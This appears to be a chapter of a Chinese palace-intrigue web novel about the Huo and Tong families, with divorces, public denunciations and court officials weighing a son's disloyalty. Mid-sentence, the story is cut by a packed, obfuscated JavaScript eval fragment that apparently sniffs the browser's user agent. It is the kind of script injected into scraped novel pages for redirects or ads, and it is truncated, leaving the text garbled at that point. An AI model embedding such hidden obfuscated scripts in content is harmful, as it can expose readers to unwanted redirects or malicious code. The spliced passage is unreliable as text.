顺郡王妃佟梦如笑起来,笑得比哭还凄怜,她爹多可笑啊,到这刻,他竟然还抱着他自以为的霍漓江不会舍掉霍振羽兄妹的幻想跟霍漓江对抗?!哈哈哈……她糊涂啊,她居然才想明白佟家最糊涂可笑的人是她爹,是她爹把妻儿带得就会做白日梦。 同感到阵凉意的是时隔二十多年重新归入佟家的奴婢们,佟梦娴和佟梦姿各自出嫁时带进各自婆家的陪嫁奴婢虽然不多但经过多年的繁衍生息,这两批奴婢合计已有五十多人,都养得舒服惯了,哪还受得了不能再享以前的好日子反而还得再做奴婢的活计。 在人群中的乐邑长公主注意到这点细节,细心地对霍灵渠指出:“这两批奴婢在霍家和晏家的婚嫁也是个隐患,还是斩草除根,把跟他们有牵连的奴婢全部剪除。” 霍灵渠思索下好像没有隐患,看向晏霁之,晏霁之颔首道:“长公主费心了,臣谢过。这群奴婢二十多年来的婚嫁都是跟佟家和钟家的奴婢,他们眼下已尽数回归佟家。” “你们防备得真齐全。”薛述聪似褒似贬,晏霁之轻轻摇头解释:“是佟尚书夫妇担心从佟家出来的奴婢跟晏家和霍家的家生子成亲后有可能会叛变,坚决不许。” 薛述聪顿时无语凝噎,两名禁军带吴王和简郡王过来,由此,太上皇在京中的众儿子们全部齐聚。两位小王爷给父皇和皇兄问安后,班丞相看向他家长孙,班韫堂瞟瞟那抱着十二岁娃的霍巨浪,给自己安慰下,再走过去抱起未满九岁的小表弟简郡王。 被遮挡视线的吴王默念:过几月他就满十五岁了,和十二岁还要人抱的小娃根本不同。突然有只小板凳闯入眼底,吴王幽幽抬眼,然后默默接过表哥给的小板凳。 禁军再禀告:任逍姑娘想来这边找魏王表哥。薛述聪和晋王当即嘲笑魏王,虽然自个儿可能都没懂这有啥好嘲笑但就是乐得嘲笑。太上皇被烦得嫌脑仁疼,都几岁了还那么幼稚;乐邑和湘王都无语了,魏王黑着脸瞪向这禁军,两名禁军向圣人和陛下告退。 皇帝和太上皇的四周有禁军和大臣们里三层外三层环绕着,自不是任逍能挤过来。 晏霁之随意瞥眼没想到看见侯瞻渥,他凝视两息时间,伸手拽薛述聪给他指指,意思很明显,薛述聪要笑不笑,你可真好意思当着晋王和太上皇的面向我打听,但还是告诉他了:“武襄侯原本要重责,被我那大姨拦住了,就打几板子当然不影响他活蹦乱跳。” 太上皇、皇帝和魏王、晋王乃至湘王都霎时神情微妙,薛述聪斜睨晏霁之哼哼:看吧,这就是你非要问的结果。晏霁之当没事人,乐邑瞟瞟父皇和四个兄弟,拽霍灵渠揶揄缓和:“嗳,你不肯留霍振羽兄妹也有嫉妒他们怕你爹疼爱他们会超过你的因由在吧?” 刚聚起的微妙气氛趋于消散,薛述聪腹诽这媳妇真会转移话题,用得着她多事嘛。 “我爹真的疼爱霍振羽和霍蓁蓁吗?”霍灵渠美眸凝凝仿若喃喃自语,乐邑答当然啊,还拉着湘王佐证,湘王附议:“是真的,表姐,你童年在霍家时二舅是很疼爱你,但二舅疼爱他们两个不比你差,母后给蓁蓁相看前他们在霍家真的都没受过委屈。” 皇帝嬴忱璧看着贵妃怅然若失想宽慰贵妃时,霍灵渠刹那间眉眼生动,活色生香的容颜魅惑不已似能摄人心魄,乐邑长公主立时在心底骂妖孽,抬手狠狠拧把驸马。薛述聪痛得真想跟她呛,他什么都没看好吧,当着皇帝的面他会像晏霁之那么没顾忌吗? “佟尚书官拜主管科举的礼部尚书该当学识渊博,不想他竟连《三字经》都不懂。” 霍灵渠只是陈述都挡不住话语中蕴含的轻蔑:“否则他至少可以坏掉点我爹的名声,而不是节节败退至一败涂地,往后回过味来想再反击都来不及了。” 晏霁之桃花眼溢笑,唇畔亦扬起抹微笑,仿若只因她这番话便豁然舒畅。 湘王再神情古怪地打量这表姐,太上皇和皇帝魏王他们一时间还真没听懂,乐邑怀疑:“佟尚书不懂《三字经》?你真知道还是假知道,还有你提佟尚书懂不懂《三字经》作甚,这跟你嫉妒霍蓁蓁比你得兴献侯疼爱有什么关系吗?你故意混淆视听吧你。” 好嘛,乐邑的措辞已经成言之凿凿了,或许她私心里就觉得霍灵渠不可能不嫉妒。 “是啊,表姐,你嫉妒妹妹就嫉妒吧,我们又不会因此排挤你,但我们都知道你嫉妒,你还遮遮掩掩的就不觉得假嘛。父皇因为你都没阻拦二舅,你还想怎样,非要二舅彻底不认他们吗?”湘王和霍蓁蓁的表兄妹情份当然要胜过和霍灵渠的表姐弟情份千百倍。 霍灵渠淡笑笑尚未应对,皇帝要训斥湘王都被晏霁之抢前了:“湘王这般疼爱表妹,莫非您有意纳霍蓁蓁做侧妃再让湘王妃遁入空门给霍蓁蓁腾位子?” 瞬间安静,太上皇总觉得有点糟心,湘王被卡下后狂喷:“你胡说八道什么啊你?” “霍蓁蓁眼下最好的出路显而易见是做湘王妃,你有媳妇,她自然想先做你的侧妃再把湘王妃除掉做你的继室。”晏霁之顺理成章道:“在王爷眼中,她要凌驾在父亲头上拿捏父亲要榨干霍家要姐姐死都无所谓,姐姐不对她好就是恶毒,不是吗?” “你胡说——”湘王被污蔑地火冒三丈高要冲过去踹他,晋王真嫌他小孩气,太上皇就知道要糟,皇帝让步昂和顾统领拦,穆国公霍秦川收到动静被迫转移过来,顾统领和步昂抱住被抱住还要乱踹的湘王,但湘王只喷出三个字真是被晏霁之打断了。 “湘王你疼爱霍蓁蓁就疼爱吧,我们又不会因此排挤你,但我们都知道你疼爱霍蓁蓁,你还遮遮掩掩的就不觉得假嘛。”晏霁之把话还给他,晏墉甚至嬴忱璧亲自扯他都被无视,晏霁之斗志昂扬:“谁耳聋了没听见霍蓁蓁说:反正我和我哥都绝不同意你休妻。 爹你若非要执迷不悟,我们兄妹就跟娘回佟家,你不收回休妻,我们就不回霍家。想让我们兄妹回霍家,爹你就不要再妄想什么休妻断亲了。湘王你认为很妥当,你当然该对你爹说:反正我绝对不同意你禅位给老五,爹你若非要执迷不悟,我就回霍家。 你不收回禅位,我就不回皇家,想让我回皇家,爹你就不要再妄想什么禅位给嬴忱璧。再或者你可以套用霍振羽的话:父亲还是不要再胡闹了,倘若你非要闹着禅位给老五,我就去霍家改做霍家人。毕竟湘王你很认可他们啊否则何至于替他们抱不平,是吧?” 氛围理所当然僵住又像有秋风扫落叶的凄清,霍灵渠眼酸垂眸,湘王妃心底闷堵苦笑,湘王若是被霍蓁蓁算计到还会不纳霍蓁蓁进门么?她知道湘王是真的挺疼爱霍蓁蓁。 将满二十岁的湘王被责备得小白脸火辣辣连耳根都烫红了,是否该给父皇和皇兄请罪或者至少该驳掉晏霁之都想不到。穆国公默默数数,打算让外甥难堪会儿再给他解围。 晋王唯恐天下不乱:“晏霁之,我皇兄还在这儿呢,你这是想置陛下于何地呀?” “我祖母和湘王妃的祖父是亲姐弟,我和湘王妃是正正经经的表兄妹。”晏霁之一脸怀疑晋王脑子不正常:“我推测湘王和霍蓁蓁可能合谋害我表妹,我给表妹出头不是应该么,这和陛下什么关系?陛下若是突然干涉给弟妹出头才令人浮想联翩吧。” “你有种!”晋王真郁闷居然这都能被他找到借口,薛述聪讶异晋王这么容易就蔫了,再想想霍蓁蓁兄妹跟晏霁之的表亲情份今时自是已经荡然无存,是没必要再呛。 班丞相边腹诽穆国公故意等他来打圆场边走过两步,含腰驼背以示恭谨再笑道:“贵妃娘娘指佟尚书不懂《三字经》的隐喻是——”对上霍贵妃饱含尽在不言中的恳请,他愣下,顷刻间明白这是贵妃对父亲的维护,既事已至此,恶名就全给佟家担吧。 私心里,班丞相都觉得没什么不该的,莫名唏嘘地给霍贵妃作揖行个礼,再走到太上皇身侧在手掌写六个字给圣人看,太上皇恍悟,不吝啬赞道:“贵妃果真通透。” “圣人谬赞,我今日真正察觉到我将霍家人的狠传承得淋漓尽致,但我问心无愧。” 霍灵渠抬眸望向数丈外被捆绑着倒在地上的霍振羽兄妹,眉眼间悲戚而决绝:“我相信霍蓁蓁今日是第一回胁迫父亲,霍振羽更是第一回不把父亲当回事儿乃至蔑视父亲。 但,是初犯又如何,他们若有孝心真敬爱父亲又岂会有这种初犯,这不是佟家蛊惑的,但凡他们对父亲有孝心就没人能蛊惑他们,这只能是他们兄妹的本性如此。 我还相信,倘若爹愿意留他们兄妹在霍家,他们今后绝不敢再对父亲猖狂,多讽刺啊,是不敢而不是他们不会不想,是不敢,是他们怕失去霍家的荣华富贵才不敢。 霍灵渠疼得想哭,咬牙切齿都掩盖不住痛惜:“这兄妹俩的皮囊下藏着颗什么心肝啊,父亲给他们荣华富贵庇护他们在今年以前都没受过委屈,居然都养不出他们对父亲的孝心;我嫌寒心,既然他们对父亲没孝心对霍家没真心,何必再看他们的虚情假意。” 霍灵渠倏然冷笑,明知这想法过狠了但她真觉得痛快啊:“娇生惯养没受过委屈好啊,我庆幸霍振羽霍蓁蓁在今年二月以前没受过委屈,否则哪能看到他们的真心!” 太上皇自然懂贵妃的言外之意,受尽娇惯没受过委屈就不会权衡利弊只会按本心行事,霍振羽和霍蓁蓁今日呈现出来的就是他们未加修饰的最真实的本来面目。 到这刻,太上皇才认可霍贵妃和兴献侯的做法,江山易改禀性难移,霍振羽兄妹的劣根已断然不可能再板正教好,对他们怜悯心软就是给家族埋祸,必须当断则断。 此时特容易敏感的湘王就觉得这表姐也在指摘他,亏他心性好,没想记恨。 附近的老臣们颇有感触,但不论是否觉得霍家和贵妃狠,比起优柔寡断表里不一,的确是霍贵妃当机立断的敏锐和坦荡能令他们有好感,房副相更感佩霍贵妃犀利。 他们多少年过半百的老臣还旁观者迷,霍贵妃年纪轻轻已是当局者清,若是宽容这回,霍家再费心教育霍振羽和霍蓁蓁,能把这兄妹俩教好吗?不可能的,娇生惯养没受过委屈时都养不出真心,在这兄妹俩自觉受委屈被压制时只会愈发心怀怨怼乃至憎恨。 霍家再对这兄妹俩怀恻隐之心就是养两条毒蛇,是给自家捅刀,绝不能再留了。 吏部薄尚书反复推论确断霍振羽兄妹对父亲的态度还真不是佟家能蛊惑的,兴献侯没薄待过这双儿女啊就是没再给霍蓁蓁争继后位,因此,这兄妹俩孝顺母亲却对父亲如此犯浑?只因父亲没顺从他们的心意就能被蛊惑着去践踏父亲,还能是被蛊惑的吗? 除非是霍振羽兄妹两个唯利是图,兴献侯没顺他们的心意令他们不满怨憎,是他们本心里就没有对父亲的孝敬,那么这兄妹俩对父亲犯浑当然不是被蛊惑的。 薄尚书摇头,怨不得贵妃和兴献侯寒心,这对兄妹岂止没孝心,根本是全无良心啊。 班丞相想想霍家也没那么狠吧,要给皇帝解惑被挡回了,嬴忱璧自己想明白了,明白得不是滋味,他甚至都不知这到底是因他的迟钝还是因他对贵妃的不上心? 贵妃甘愿离家颠沛十多年就是出于对弟弟妹妹的疼爱,她怎会还嫉妒霍振羽和霍蓁蓁,何况贵妃刚提及过她当年走到家门前都没回家就是不想毁掉弟弟妹妹的人生。 他竟然就如同没过耳,嬴忱璧心底苦涩,其实贵妃没骂错他,他表现得很在意贵妃,他也很想在意贵妃,但他内心真的没他想的那么重视贵妃,晏霁之必定是瞬间明悟吧。 晋王睨着魏王也整出副领悟模样,不知他真懂还是装腔,给薛述聪使个眼色。 驸马爷腹诽这妹夫真会想,一溜烟潜回他爹身边,差点把晋王和乐邑都给气着。 显国公在训薛述嘉消停:“非想让你姨夫看过来是吧?”这混账对着侯瞻渥翻白眼翻个没完了,薛述嘉振振有词:“爹你看看他的德行嘛,摆明在闹着武襄侯又想去找那假冒货。霍海啸亲自把他逮着送到陛下面前的,才几天,这都不叫阳奉阴违了。 这是明目张胆大摇大摆地就没把陛下的训诫当回事儿啊,我真是奇了怪了,都是尚公主都是圣人的外甥,怎么侯家的风评比我们家好那么多,简直倒打一耙嘛。” “是你表嫂。”显国公重点告诫:“你瞻渥表哥爱妻情深这点总是无可指摘的。” 薛述聪挤过来,薛述嘉都没给他哥一个眼神,只顾嘲笑:“圣人的六公主两岁就早夭了,他这媳妇是不是都不能是,就算圣人收那位做义女又能护几年,陛下到底是霍太后养大的,陛下在这件事里难道还会为个面都没见过几回的义妹去跟霍家和养母翻脸吗? 这大姨有那么大脸面能让霍家和贵妃放过她这儿媳妇吗?什么爱妻情深,侯瞻渥还能护得住他这媳妇吗,当断就得断,难道真为个女人把整个武襄侯府都拖进去跟霍家硬刚吗?不管霍家将来会怎么样,霍家现在还是当朝第一豪族呢,会捏不死侯家吗?” “你姐姐是晋王妃,晋王是你姐夫。”显国公面无表情,亏他还知道当断就得断。 薛述嘉萎蔫了:“我知道啊,要不然我还愁什么,这难题简直愁死我了。” 显国公懒得再理这混账,转念想,猜疑道:“霍桑柔的孩子是她亲生的吗?” “不是。”薛述嘉赖洋洋的极像敷衍,显国公确认道:“你肯定?” “当然啦,桑柔跟我的时候还是个姑娘呢,我是她第一个男人。” “那她这孩子从哪来的,她们姐妹颠沛流离自顾不暇怎么会还养个孩子?” 薛述嘉摆手道:“是她们姐妹以前投奔的远方亲戚家的孩子,她姐跟她说是远房亲戚,但到底是不是霍家的远房亲戚,我估计她不清楚,只有她姐才知道。那家人家在授康二十八年时全家遭难就把孩子托付给她们了,她姐姐进英王府,她就给这孩子做娘了。” “你最近刚晓得还是今年以前就清楚?”显国公刨根。 “我刚包莫欢时就知道了啊。”薛述嘉敏感地问:“爹你怀疑什么?” “你说呢?”显国公意味深长,薛述嘉嫌他爹疑心重:“哎呦爹啊,这有什么好怀疑,她们在撷芳馆的势力下四五年,如果这小娃身世有问题,魏王还能放过吗? 何况是不是的,晏霁之还能不清楚吗,倘若这孩子是桑柔的外甥,晏霁之四年多都没点反应就出奇了,更更何况她们姐妹背着血海深仇好吧,哪儿有那种闲情啊。” 显国公被噎住,没想到他竟然也有被薛述嘉驳得无言以对的时候,还真是他多虑了,就凭贵妃还没报仇就不可能这么没分寸,怪只怪这个孩子太容易引人遐想了。 薛述聪默默在边上听过这轮再把疑惑抛出,薛述嘉惊奇:“大哥你这么好骗啊,贵妃怎会知晓佟尚书懂不懂《三字经》,就算是晏霁之告诉她的,但《三字经》啊,刚启蒙的小孩都会背,分明是晏霁之在逗流光姨娘玩嘛,你们居然都能被耍得团团转。” “好了!”显国公忽略掉薛述嘉没过脑的废话,琢磨下猛然滞住,养不教,父之过? 霍漓江重数霍振羽的种种罪状,但霍漓江的教导呢?显国公惊诧地倒吸口凉气,他竟然都没察觉出方才霍漓江痛斥霍振羽时的巨大漏洞,唯一的嫡子啊,霍漓江若是有在意寄望,早管得霍振羽灰头土脸哪还敢对亲爹狂得起来?换言之,霍漓江不在意霍振羽? 显国公被自己的结论难住了,不应该啊,霍漓江对庶出又不上心,怎会不在意霍振羽?可他若是在意霍振羽,他能放任霍振羽被佟家养成这副德行吗?绝无可能的。 “爹?”薛述聪打量老爹阴晴不定的脸色怀疑他爹在想什么,显国公手写六个字给他,薛述聪恍然大悟要折返回去告诉晋王时被显国公制止:“虽然不是贵妃特意提点,但还是得谢贵妃告知,要懂得礼尚往来,既然贵妃不想宣扬,不必转告你妹夫了。” 薛述嘉很怀疑他爹向着谁啊,薛述聪更感觉他爹对女婿有隔阂,表现得忒明显。 谷王陪着女儿走到人前引得佟姓诸位和霍振羽、霍雄鹰都愣了愣,佟图匡愣了下后得意地冲着霍漓江挑衅,佟老太太更觉痛快,被麻绳捆绑着都困不住她老脸上又发散出的张狂,连众多怀疑霍漓江在耍诈的看客们都恍然想到原来台阶在这里呀。 谁相信谷王父女不是来给霍振羽和佟家说情要请霍漓江以和为贵呢? 霍雄鹰憋闷想谷王不是这么没脸没皮吧,霍海啸是担心谷王父女带着圣人的口谕,反观霍漓江压根儿没在意,有太上皇的口谕来对他也没影响,得罪圣人就得罪了呗。 “爹,我要带着灿哥儿跟霍振羽和离,我皇伯伯已经同意了。”霍四奶奶道明来意再引得众人一愣,佟图匡脸上的得意挑衅被凝固至撕裂,佟老太太和佟梦姿犹如熊熊怒火又重燃般剧烈挣扎起来,霍振羽盯着这个妻子犹如从云端跌进泥潭疼得他浑身冒冷。 以为谷王是来给霍漓江台阶下要让霍漓江和霍振羽重归于好的看客们傻眼了,佟梦姿的陪嫁奴婢更懵,花珀姨娘脸煞白,心里恨得要命,四爷这般的危急关头,这四奶奶竟然非但不劝侯爷还要落井下石,和离对她有什么好处啊她是疯了吗? 霍雄鹰可被这转折乐得差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可灿哥儿才刚满周岁,你的花珀姨娘是偷摸怀胎吧,若是三位堂兄,必是打掉胎再把这妾室发卖,你护得可真紧啊。我在人群中想了很久,灿哥儿没有你才是对他好。” 霍四奶奶毫无惧意地直视着将和离的丈夫对她的恨毒视线,痛快笑了,像是要把成亲两年多来的憋屈尽数发泄出来般畅快奚落:“你根本分不清好坏对错,你更看不懂谁对你真心谁对你假意,更可笑的是你什么都要靠别人却自命不凡觉得你比谁都强。 你就看着吧,对你吹得天花乱坠好像为你连命都能豁出去的外祖家在你做佟家人后会否连你买醉的酒钱都不肯替你出,你们娘仨养出来的这群胃口撑破肚皮的奴婢又是何等忠心,你最宠的这个花珀姨娘在你落魄后还会不会把她肚子里那块肉生下来?!” 语毕,霍四奶奶利落决然转身,飒飒英姿张扬,她走到长桌前亲自写和离书。 不少看客莫名倒吸凉气,若按这势头,霍漓江要把霍振羽逐出霍家还能有悬念吗? 跟佟梦姿娘仨休戚相关的奴婢们惊惧得几乎连急都忘记了,霍振羽的花珀姨娘更惊悚地捂着小腹,佟图匡怒向没被绑的小女儿眼神示意她制止,佟梦如转过头忽略。 忽见顺郡王的身影,顺郡王妃佟梦如刹那间僵住,强烈的不安笼罩,她眼睛睁大大的,一眨不眨地看着丈夫走到她面前,她死命告诉自己,不是的不会的,她和顺郡王夫妻感情好还有三个孩子,她不会有事,她最多被继子夫妇压得抬不起头来而已…… “梦如,你走吧,走得离京畿远远的,对孩子好。”可惜顺郡王没遂继妻心意:“你放心,我们和离后我不会再娶了,我会把我们这三个孩子好好抚养长大。” 佟梦如霎时一颗颗眼泪不由自主地从眼眶里摔出来:“你已经决定了?” “是,唯有你走了,我们这三个孩子才能和佟家彻底斩断;你留着,断不了。”顺郡王残忍地宽慰:“世子夫妇是厚道人,不会苛待继母留下的弟弟妹妹,你放心吧。” 放心?多可笑啊,佟梦如疼得犹如整颗心都被辗轧着,眼泪啪嗒啪嗒往下掉。 顺郡王沉默下没有动容地转身去长桌前写和离书。观众们被这连续的闹和离整安静了,世子妃紧张地握丈夫的手,顺郡王世子对此在意料之中都没显见有兴奋。 顺郡王的和离书写得很快,其实写张和离书又能耗时多少呢,他的和离书跟霍四奶奶的和离书一同送往京兆府衙办户籍,从此彼此间各自斩断成铁板钉钉再无回旋余地。 佟梦如眼睁睁流着泪看丈夫写下和离书再把和离书送去办户籍,被震得头昏眼花,冷得像被冻僵了死活抬不起脚步去阻拦,最后竟只剩全身的生气似被抽干般跌退步。 到这等地步还能有诈还会有悬念吗?再认为不可能的看客们都认了,不会再有侥幸了,霍漓江要休妻是真,要把霍振羽和霍蓁蓁逐出霍家是真,都是真的。 佟老太太不肯认,仿佛认下就会让她全身骨架都散掉,她憋着强撑着她的一口气疯狂挣扎要挣脱束缚。整个场中也就她还在挣扎,佟梦姿和佟梦奭夫妇都没再挣扎了。 佟梦姿更在幻灭中,应该是霍漓江早给她和她爹娘赔罪认错了呀,怎么会她这儿媳妇和顺郡王都要闹和离?不可能,假的,她猛地安慰自己是假的,她做噩梦而已…… 她陷入浑噩,她女儿霍蓁蓁却如梦初醒般挪向父亲,心里只有一个念头,她要告诉爹,她不要做佟家人她不做佟家人,她要跟佟家断亲,她不离开霍家,绝不离开…… 英王妃佟梦娴慌乱往后退想把自己藏起来,她再自认不会的都死活压不住不好的预感,就怕下一刻就是晏墉冒出来要跟她和离,这孽障儿子到底死哪儿去了啊还不出现? 霍海啸见状好心宽慰:“英王妃就放心吧,为着晏霁之,英王绝不会休你。” 英王妃佟梦娴顿时狠狠松口气,她就说她这孽障还是有点用处的,比起这俩妹妹,她的儿子还是很有用的。好些官员命妇瞧着都忍不住想蠢死她得了,英王当然不会休你,英王会让你病逝啊,你这样作死,儿子懒得再管你,英王还能让你活着吗? 隐在人群中的皇帝问穆国公:“蓁蓁姑娘要选秀?”得到肯定答案,皇帝交代:“朕记得佟二姑娘也在秀女名单上,一家岂能出两名秀女,穆国公让蒙侍郎出面向佟家要个准话吧,明日秀女大选,佟家出哪位姑娘,再让礼部今日补名秀女。” 穆国公霍秦川应是,边告退去找蒙侍郎边在心里盘算自己的小九九。 霍灵渠看眼走远的伯父,视线滑向晏霁之,欲语还休欲言又止。 目睹的臣子们被刺激得血有点逆流,魏王怀疑她又发什么疯啊只能希冀她脑子还在,皇帝嬴忱璧目视前方选择做睁眼瞎,大人们总算血有点回流了,英王晏墉脑中的弦绷到简直能削铁如泥,忙要把他家混账拽走时,晏霁之说:“我相信兴献侯的猜测。” 附近的众位:“……”你们还在谈事情?晋王率先问:“你们打什么哑谜?” “流光还在英王府时,我们曾谈起霍振羽对佟家的态度,当时我的结论是:霍振羽活在他幻想的假想中,他自认捏着佟家的命脉,佟家想要前程就只能倚仗他,并且是除掉他就会没有前程、想要前程只能仰赖他,故而他不惧。但今日,我相信兴献侯的猜测。” 晏霁之语调偏沉郁:“两个月前霍振羽还性情软和得几乎没有主见,今日,他已经想要强压到父亲头上,他当前的处事态度更接近于顺之者昌逆之者亡,他对人更没有情份可言,佟家怎么可能会有例外,正如兴献侯所说的,不过是佟家对他还有用。 但想把他当踏脚石想害死他的人家,哪怕霍振羽自认为佟家不敢除掉他,他不必担忧,然不肯顺他的意,他都要对付,何况是想害死他的想法,他为何要让想害死他的人家活着;倘若他们走到最后的争夺,霍振羽必定会除掉佟家,不会有例外了。” 嬴忱璧微笑着转向贵妃问:“贵妃是疑惑国舅和晏卿对霍振羽猜测迥异吗?” “嗯嗯。”霍灵渠小脸喜悦美眸盈盈溢笑,单纯因晏霁之猜中她的想法而高兴,有人能这般懂得自己当然值得高兴呀。然而这对于正徽帝嬴忱璧,皇帝真觉得扎心了,他真的宁愿贵妃是当着他的面明目张胆和旧情郎眉目传情都好过这种心有灵犀。 “霁之可真懂贵妃的心意啊。”晋王恭维。 “晋王爷言之差异,当前的情况,贵妃找臣不会有第二件事,不管是谁曾和贵妃谈论过霍振羽,都会猜到的。”晏霁之自然过渡:“但不到两个月,霍振羽性情骤变,根源在于他想做人上人幻想旁人该尽皆顺从他,但挑起他变化的引线,我以为还是在佟家。 陛下颁下册封贵妃的圣旨当日,霍振羽越过父亲对霍海啸放话,霍家嫡两房决裂,当时海啸就猜,应该是佟梦奭教他,只要他霍振羽强硬就由不得他爹霍漓江犹豫摇摆。 他尝到随心所欲的畅快后把他对被压制的憎恶和凡事都由他做主的渴望彻底挑起来了,以致于今日还不到两个月,他就不把父亲当回事儿了,他要强压到父亲头上。” “霍振羽说的:不必理会,他虚张声势而已,是看不起他父亲吗?”魏王感悟道:“他莫非觉得兴献侯宁可不给霍蓁蓁争继后位也不肯和穆国公霍海啸翻脸是没用吗?” 晏霁之点头:“我相信有这层因由在。” “那这么个权欲熏心的货色,他真是想争皇后位吗?”晋王嗤笑:“他这架势分明是想让他妹妹做个年轻太后,立个儿皇帝,他做摄政王啊,要不然他不还是被压着吗?” 晋王话落,没人反驳,湘王沉闷低头,霍灵渠刚漾起的欢喜笑意消失殆尽。 当此近薄暮,晏霁之微微抬头透口浊气,遥望见夕阳的斑斓或在盛放前泯灭。 105. 第105章 霍漓江瞥见霍蓁蓁挪过来,给霍海啸个眼神,霍海啸把眼神传给霍雄鹰,霍雄鹰大步往前去把快挪过来的霍蓁蓁当卷春卷似的给她翻滚几圈再把她推走,霍蓁蓁被缺德的堂哥推得直滚到站最前沿的人群中令这处的看客们退后好几步,霍舒窈默默捂脸。 霍雄鹰忒损啊,不少看客想归想,仍然被这场景逗得直笑。佟梦姿浑浑噩噩的没顾上,霍蓁蓁滚得晕乎乎没想法;霍振羽心疼妹妹,看得眼睛都抽痛了,他死死憋住眼睛里的泪,视线扫过霍雄鹰霍海啸再到霍漓江,只觉得他心在淌血,从没有这么恨过! “闹啥闹啊就不能安生点吗?”霍雄鹰给自己找个借口:“灿哥儿才多大,我叔给孙子送点财物你们都要闹个没完了吗,你们娘仨攒的珠宝钱财是你们的吗?是我叔给霍家人的,是霍家给霍家人的,你们巴着要做佟家人,姓佟的能配把霍家的财物带走吗? 没让你们把霍家二十多年来供你们富贵奢靡的花销吐出来就够客气了,都给我安生点,再闹腾,我就不是用手推,三爷我要用脚踹了,别怪我没提醒你们。” “哈哈哈……”霍雄鹰话音刚落,佟梦如仰头大笑,霍雄鹰磨牙,瞬间觉得这群看热闹的都在看他的笑话,犹豫着是否要把这个也捆起来滚两圈时,佟梦如的笑声戛然止住,转向她大姐,眼神锋利而凶狠。佟梦娴被盯得起鸡皮疙瘩,这小妹想干啥? “大姐还记得吧,你第一回状告亲儿不孝时爹打过你一巴掌,你被打后质问父亲,爹你还当我是你女儿吗?”果然得到自己痛彻心扉时才肯审视佟家有多腌臜,佟梦如真觉讽刺:“你被爹打一巴掌你就要质问父亲还拿你当女儿吗,你佟梦娴的孝心又才值几两?” 晏霁之讶异,对这消息真有些意外,佟梦娴竟都受不住被她爹扇个巴掌吗? 佟梦娴憋闷她现在没法说话只能任由这小妹叫嚣,岂料,佟梦如神情落寞,话锋陡转:“可你却是我们五姐弟中最有孝心的,二姐的孝心不如你,我的孝心不如二姐,而我却又是比佟梦奭和佟梦骜两个加起来都有孝心得多了。” 她突然咯咯笑起来,笑得阴森而诡异,许多看客都看得发凉,佟梦娴怀疑这小妹是不是受不住和离的打击有点不正常了?佟老太太都被这小女儿闹得没再挣扎了,哪想,想什么来什么,佟梦如没再揪着她大姐而是肆虐着诡异的笑声走到她母亲面前注视着老太太。 佟老太太被这一脸诡异笑的小女儿盯得后背发凉像活见鬼了,这女儿疯了啊? “娘你可要当心了,爹还有两个庶子完全能撇下你带着小妾庶出颐养天年,可你呢?”佟梦如嘲讽中间杂着可怜痛恨报复对她母亲说:“你生的五个儿女谁会管你的死活? 我被你们害得夫妻相绝骨肉离散,我绝不会再管你了;佟梦娴会对你言听计从是她闲着没事做,一旦她有事忙了,她会恨死你的;佟梦姿想榨干你的私房钱都来不及。而你想靠着佟梦奭和佟梦骜养老?娘啊你真不知道还是假装不知,这哥俩可是五毒俱全的。 何况你都有把柄在他们手里,你对着你亲生的女儿们多狠啊,你若是仗着你是他们的娘去威逼他们,他们会呛死你,都是你亲生的,你对着三个女儿那么狠怎么会对他们有好心?所以娘你真要当心了,当心他们兄弟嫌你累赘拖累他们时活活饿死你啊。” 佟梦姿被小妹唤醒神智恢复清明,佟老太太心里有股阴森森的害怕感,但绝不可能忍被女儿吓到,她就强撑起怒火要挣脱掉这该死的麻绳要教训这个吃里扒外的逆女。 “娘是在骂我吃里扒外吧?”佟梦如好整以暇道:“佟家女不向着佟家是吃里扒外,但娘你姓钟啊你是向着钟家的,你向着钟家有什么资格指责佟氏女;若是娘嫁进佟家后就向着佟家不再向着钟家了,娘你自己都吃里扒外又有什么资格来指责我? 还有佟梦奭、佟梦骜他们四个兄弟的媳妇谁又姓佟,这四个媳妇怎么能算佟家人,她们向着佟家可是吃里扒外啊,可她们若是不向着佟家,佟家为什么要留着她们呢?” 佟梦如像是得到个惊喜似的好奇:“难道是为了招家贼吗?”她随即不赞同地规劝:“娘你和爹可不能这么糊涂,虽然天下人都这么糊涂全都在招家贼,但娘和爹可是自诩将来要做皇太子的曾外祖,你们怎么能跟傻子比,你们就该把嫁进佟家的媳妇全部弄死。” “哦不对,娘你不姓佟,你姓钟,你也是嫁进佟家的媳妇,佟家最大的家贼是你呀。”佟梦如似乎很苦恼:“娘啊你说这可怎么办才好,佟家女向着佟家应该劝爹弄死你,但你毕竟是我们的亲娘,我们姐妹到底该吃里扒外呢还是该向着佟家让你去死啊?” 大理寺衙门前寂静无比,这是很讽刺很可笑但看客们到底还是有志一同地缄默。 佟老太太心里慌乱但绝不可能示弱,她怒着要伸出手打这逆女,佟梦如往后退步,憋着满腔痛恨愈发闲适地戳老太太的心窝:“娘啊别费劲了,你做不了全国最尊贵的老太太了,你从今夜起连个安生日子都不会有了,佟梦姿带着儿女归入佟家后还能消停吗? 我知道,佟家把我们三姐妹和我们生的儿女当傻子,霁之那么强硬,爹实在没法把他当傻子才没把大外孙当傻瓜,但你和佟梦奭夫妇可还是把他当傻瓜的,对我们更是不必说了,你们是哄着我们拿好处给佟家还要在背地里嫌恶我们蠢钝如猪笨死算了。” 佟梦如倏然发狠叱骂:“大姐二姐的这两批陪嫁奴婢就是在贪墨,没人冤枉他们;这群奴婢更无忠心,他们是既鄙夷佟梦娴和佟梦姿娘仨笨得连猪都要比他们四个聪明又是得意他们把主子捏在手心里任由他们摆布,佟家比谁都清楚,但你们就是放任。 你们公婆两个对亲生女儿和外孙们真的是比对群奴婢都不如啊,霍漓江说的好,佟家就是把我和佟梦娴佟梦姿当要饭的!当我不知道滁州老家的生意是怎么回事吗,你们每年都能从滁州老家拿到大把大把的银两,给我们用八千两备嫁就是在打发要饭的!” 要饭的三字似有回音飘荡在大理寺衙门前的上空,数千人的现场静得落针可闻。 